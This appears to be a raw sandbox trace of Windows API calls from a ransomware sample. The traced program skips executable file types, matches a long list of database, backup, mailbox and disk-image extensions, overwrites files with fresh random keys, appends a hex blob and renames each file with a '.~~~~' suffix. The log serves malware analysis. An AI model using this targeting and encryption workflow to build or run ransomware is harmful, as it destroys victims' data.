	[0077.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff88c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.895] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x774, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x24dfec0*=0x774, lpOverlapped=0x0) returned 1
	[0077.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.895] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.896] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.896] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.896] CloseHandle (hObject=0x130) returned 1
	[0077.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8398
	[0077.896] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.~~~~")) returned 1
	[0077.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8398 | out: hHeap=0x300000) returned 1
	[0077.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.897] GetLastError () returned 0x0
	[0077.897] RtlWakeConditionVariable () returned 0x365f70
	[0077.897] GetCurrentThreadId () returned 0x3a4
	[0077.897] GetCurrentThreadId () returned 0x3a4
	[0077.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0077.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a84c8 | out: hHeap=0x300000) returned 1
	[0077.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9768 | out: hHeap=0x300000) returned 1
	[0077.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a84c8
	[0077.898] lstrlenW (lpString=".scr") returned 4
	[0077.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".scr") returned 0x0
	[0077.898] lstrlenW (lpString=".cmd") returned 4
	[0077.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".cmd") returned 0x0
	[0077.898] lstrlenW (lpString=".dll") returned 4
	[0077.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".dll") returned 0x0
	[0077.898] lstrlenW (lpString=".bat") returned 4
	[0077.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".bat") returned 0x0
	[0077.898] lstrlenW (lpString=".cpl") returned 4
	[0077.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".cpl") returned 0x0
	[0077.898] lstrlenW (lpString=".sys") returned 4
	[0077.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".sys") returned 0x0
	[0077.898] lstrlenW (lpString=".msc") returned 4
	[0077.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".msc") returned 0x0
	[0077.898] lstrlenW (lpString=".com") returned 4
	[0077.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".com") returned 0x0
	[0077.898] lstrlenW (lpString=".lnk") returned 4
	[0077.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".lnk") returned 0x0
	[0077.898] lstrlenW (lpString=".msp") returned 4
	[0077.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".msp") returned 0x0
	[0077.898] lstrlenW (lpString=".pif") returned 4
	[0077.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".pif") returned 0x0
	[0077.898] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch="msp\r\n.pif") returned 0x0
	[0077.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.899] lstrlenW (lpString=".sqb") returned 4
	[0077.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".sqb") returned 0x0
	[0077.899] lstrlenW (lpString=".ost") returned 4
	[0077.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".ost") returned 0x0
	[0077.899] lstrlenW (lpString=".txt") returned 4
	[0077.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".txt") returned 0x0
	[0077.899] lstrlenW (lpString=".mdt") returned 4
	[0077.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".mdt") returned 0x0
	[0077.899] lstrlenW (lpString=".BDB") returned 4
	[0077.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".BDB") returned 0x0
	[0077.899] lstrlenW (lpString=".eql") returned 4
	[0077.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".eql") returned 0x0
	[0077.899] lstrlenW (lpString=".DBF") returned 4
	[0077.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".DBF") returned 0x0
	[0077.899] lstrlenW (lpString=".EQL") returned 4
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".EQL") returned 0x0
	[0077.900] lstrlenW (lpString=".FDB") returned 4
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".FDB") returned 0x0
	[0077.900] lstrlenW (lpString=".EDB") returned 4
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".EDB") returned 0x0
	[0077.900] lstrlenW (lpString=".DACPAC") returned 7
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".DACPAC") returned 0x0
	[0077.900] lstrlenW (lpString=".VHD") returned 4
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".VHD") returned 0x0
	[0077.900] lstrlenW (lpString=".DBV") returned 4
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".DBV") returned 0x0
	[0077.900] lstrlenW (lpString=".dacpac") returned 7
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".dacpac") returned 0x0
	[0077.900] lstrlenW (lpString=".sdf") returned 4
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".sdf") returned 0x0
	[0077.900] lstrlenW (lpString=".accdb") returned 6
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".accdb") returned 0x0
	[0077.900] lstrlenW (lpString=".DBX") returned 4
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".DBX") returned 0x0
	[0077.900] lstrlenW (lpString=".MDT") returned 4
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".MDT") returned 0x0
	[0077.900] lstrlenW (lpString=".SQB") returned 4
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".SQB") returned 0x0
	[0077.900] lstrlenW (lpString=".vhd") returned 4
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".vhd") returned 0x0
	[0077.900] lstrlenW (lpString=".bac") returned 4
	[0077.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".bac") returned 0x0
	[0077.901] lstrlenW (lpString=".mdf") returned 4
	[0077.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".mdf") returned 0x0
	[0077.901] lstrlenW (lpString=".BAK") returned 4
	[0077.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".BAK") returned 0x0
	[0077.901] lstrlenW (lpString=".BAC") returned 4
	[0077.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".BAC") returned 0x0
	[0077.901] lstrlenW (lpString=".dbs") returned 4
	[0077.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".dbs") returned 0x0
	[0077.901] lstrlenW (lpString=".vhdx") returned 5
	[0077.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".vhdx") returned 0x0
	[0077.901] lstrlenW (lpString=".NDF") returned 4
	[0077.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".NDF") returned 0x0
	[0077.901] lstrlenW (lpString=".dat") returned 4
	[0077.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".dat") returned 0x0
	[0077.901] lstrlenW (lpString=".DBS") returned 4
	[0077.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".DBS") returned 0x0
	[0077.901] lstrlenW (lpString=".CKP") returned 4
	[0077.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".CKP") returned 0x0
	[0077.901] lstrlenW (lpString=".edb") returned 4
	[0077.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".edb") returned 0x0
	[0077.901] lstrlenW (lpString=".PST") returned 4
	[0077.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".PST") returned 0x0
	[0077.901] lstrlenW (lpString=".dbf") returned 4
	[0077.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".dbf") returned 0x0
	[0077.901] lstrlenW (lpString=".SQL") returned 4
	[0077.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".SQL") returned 0x0
	[0077.902] lstrlenW (lpString=".pst") returned 4
	[0077.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".pst") returned 0x0
	[0077.902] lstrlenW (lpString=".dbv") returned 4
	[0077.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".dbv") returned 0x0
	[0077.902] lstrlenW (lpString=".SDF") returned 4
	[0077.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".SDF") returned 0x0
	[0077.902] lstrlenW (lpString=".dtxs") returned 5
	[0077.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".dtxs") returned 0x0
	[0077.902] lstrlenW (lpString=".db3") returned 4
	[0077.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".db3") returned 0x0
	[0077.902] lstrlenW (lpString=".OST") returned 4
	[0077.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".OST") returned 0x0
	[0077.902] lstrlenW (lpString=".dbx") returned 4
	[0077.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".dbx") returned 0x0
	[0077.902] lstrlenW (lpString=".DB3") returned 4
	[0077.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".DB3") returned 0x0
	[0077.902] lstrlenW (lpString=".DAT") returned 4
	[0077.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".DAT") returned 0x0
	[0077.902] lstrlenW (lpString=".VHDX") returned 5
	[0077.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".VHDX") returned 0x0
	[0077.902] lstrlenW (lpString=".ndf") returned 4
	[0077.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".ndf") returned 0x0
	[0077.903] lstrlenW (lpString=".DB") returned 3
	[0077.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".DB") returned 0x0
	[0077.903] lstrlenW (lpString=".sql") returned 4
	[0077.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".sql") returned 0x0
	[0077.903] lstrlenW (lpString=".MYD") returned 4
	[0077.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".MYD") returned 0x0
	[0077.903] lstrlenW (lpString=".DBT") returned 4
	[0077.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".DBT") returned 0x0
	[0077.903] lstrlenW (lpString=".ACCDB") returned 6
	[0077.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".ACCDB") returned 0x0
	[0077.903] lstrlenW (lpString=".fdb") returned 4
	[0077.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".fdb") returned 0x0
	[0077.903] lstrlenW (lpString=".bak") returned 4
	[0077.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".bak") returned 0x0
	[0077.903] lstrlenW (lpString=".myd") returned 4
	[0077.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".myd") returned 0x0
	[0077.903] lstrlenW (lpString=".DTXS") returned 5
	[0077.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".DTXS") returned 0x0
	[0077.903] lstrlenW (lpString=".ckp") returned 4
	[0077.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".ckp") returned 0x0
	[0077.903] lstrlenW (lpString=".dbt") returned 4
	[0077.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".dbt") returned 0x0
	[0077.903] lstrlenW (lpString=".db") returned 3
	[0077.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".db") returned 0x0
	[0077.904] lstrlenW (lpString=".TXT") returned 4
	[0077.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".TXT") returned 0x0
	[0077.904] lstrlenW (lpString=".MDF") returned 4
	[0077.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".MDF") returned 0x0
	[0077.904] lstrlenW (lpString=".bdb") returned 4
	[0077.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".bdb") returned 0x0
	[0077.904] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.904] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.905] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.905] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.905] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19789538127) returned 1
	[0077.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x98559690, dwHighDateTime=0x1d60e1e)) 
	[0077.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9768
	[0077.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9768 | out: hHeap=0x300000) returned 1
	[0077.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8430
	[0077.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.906] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.906] GetLastError () returned 0x0
	[0077.906] GetLastError () returned 0x0
	[0077.906] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.906] GetLastError () returned 0x0
	[0077.907] GetLastError () returned 0x0
	[0077.907] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x24dfec0*=0x3adb, lpOverlapped=0x0) returned 1
	[0077.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffc525, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.909] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x3adb, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x24dfec0*=0x3adb, lpOverlapped=0x0) returned 1
	[0077.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.909] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.909] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.909] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.909] CloseHandle (hObject=0x130) returned 1
	[0077.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8430
	[0077.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.~~~~")) returned 1
	[0077.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8430 | out: hHeap=0x300000) returned 1
	[0077.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.911] GetLastError () returned 0x0
	[0077.911] RtlWakeConditionVariable () returned 0x365f70
	[0077.911] GetCurrentThreadId () returned 0x3a4
	[0077.911] GetCurrentThreadId () returned 0x3a4
	[0077.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0077.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8560 | out: hHeap=0x300000) returned 1
	[0077.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a97a0 | out: hHeap=0x300000) returned 1
	[0077.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8560
	[0077.911] lstrlenW (lpString=".scr") returned 4
	[0077.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".scr") returned 0x0
	[0077.911] lstrlenW (lpString=".cmd") returned 4
	[0077.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".cmd") returned 0x0
	[0077.911] lstrlenW (lpString=".dll") returned 4
	[0077.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".dll") returned 0x0
	[0077.911] lstrlenW (lpString=".bat") returned 4
	[0077.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".bat") returned 0x0
	[0077.911] lstrlenW (lpString=".cpl") returned 4
	[0077.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".cpl") returned 0x0
	[0077.911] lstrlenW (lpString=".sys") returned 4
	[0077.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".sys") returned 0x0
	[0077.911] lstrlenW (lpString=".msc") returned 4
	[0077.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".msc") returned 0x0
	[0077.912] lstrlenW (lpString=".com") returned 4
	[0077.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".com") returned 0x0
	[0077.912] lstrlenW (lpString=".lnk") returned 4
